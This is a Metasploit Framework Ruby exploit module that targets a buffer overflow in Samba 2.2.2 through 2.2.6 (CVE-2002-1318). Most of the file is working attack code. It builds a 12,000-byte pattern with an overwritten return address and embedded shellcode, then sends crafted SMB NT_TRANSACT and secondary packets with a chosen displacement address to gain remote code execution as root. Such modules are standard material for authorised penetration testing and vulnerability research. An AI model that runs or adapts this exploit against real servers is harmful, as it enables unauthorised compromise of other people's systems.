157 lines
4.1 KiB
Ruby
157 lines
4.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow',
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'Description' => %q{
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This module attempts to exploit a buffer overflow vulnerability present in
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versions 2.2.2 through 2.2.6 of Samba.
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The Samba developers report this as:
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"Bug in the length checking for encrypted password change requests from clients."
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The bug was discovered and reported by the Debian Samba Maintainers.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2002-1318' ],
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[ 'OSVDB', '14525' ],
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[ 'BID', '6210' ],
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[ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ]
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'MinNops' => 512,
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},
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'Targets' =>
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[
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[ "Samba 2.2.x Linux x86",
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux',
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'Rets' => [0x01020304, 0x41424344],
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},
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],
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],
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'DisclosureDate' => 'Apr 7 2003'
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))
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register_options(
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[
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Opt::RPORT(139)
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], self.class)
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end
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def exploit
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# 0x081fc968
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pattern = Rex::Text.pattern_create(12000)
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pattern[532, 4] = [0x81b847c].pack('V')
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pattern[836, payload.encoded.length] = payload.encoded
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# 0x081b8138
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connect
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smb_login
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targ_address = 0xfffbb7d0
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#
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# Send a NTTrans request with ParameterCountTotal set to the buffer length
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#
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subcommand = 1
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param = ''
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body = ''
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setup_count = 0
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setup_data = ''
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data = param + body
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pkt = CONST::SMB_NTTRANS_PKT.make_struct
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self.simple.client.smb_defaults(pkt['Payload']['SMB'])
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base_offset = pkt.to_s.length + (setup_count * 2) - 4
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param_offset = base_offset
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data_offset = param_offset + param.length
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
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pkt['Payload']['SMB'].v['Flags1'] = 0x18
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pkt['Payload']['SMB'].v['Flags2'] = 0x2001
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pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count
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pkt['Payload'].v['ParamCountTotal'] =12000
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pkt['Payload'].v['DataCountTotal'] = body.length
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pkt['Payload'].v['ParamCountMax'] = 1024
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pkt['Payload'].v['DataCountMax'] = 65504
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pkt['Payload'].v['ParamCount'] = param.length
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pkt['Payload'].v['ParamOffset'] = param_offset
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pkt['Payload'].v['DataCount'] = body.length
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pkt['Payload'].v['DataOffset'] = data_offset
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pkt['Payload'].v['SetupCount'] = setup_count
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pkt['Payload'].v['SetupData'] = setup_data
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pkt['Payload'].v['Subcommand'] = subcommand
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pkt['Payload'].v['Payload'] = data
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self.simple.client.smb_send(pkt.to_s)
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ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT)
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#
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# Send a NTTrans secondary request with the magic displacement
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#
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param = pattern
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body = ''
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data = param + body
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pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
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self.simple.client.smb_defaults(pkt['Payload']['SMB'])
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base_offset = pkt.to_s.length - 4
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param_offset = base_offset
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data_offset = param_offset + param.length
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
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pkt['Payload']['SMB'].v['Flags1'] = 0x18
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pkt['Payload']['SMB'].v['Flags2'] = 0x2001
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pkt['Payload']['SMB'].v['WordCount'] = 18
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pkt['Payload'].v['ParamCountTotal'] = param.length
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pkt['Payload'].v['DataCountTotal'] = body.length
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pkt['Payload'].v['ParamCount'] = param.length
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pkt['Payload'].v['ParamOffset'] = param_offset
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pkt['Payload'].v['ParamDisplace'] = targ_address
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pkt['Payload'].v['DataCount'] = body.length
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pkt['Payload'].v['DataOffset'] = data_offset
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pkt['Payload'].v['Payload'] = data
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self.simple.client.smb_send(pkt.to_s)
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ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY)
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handler
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end
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end
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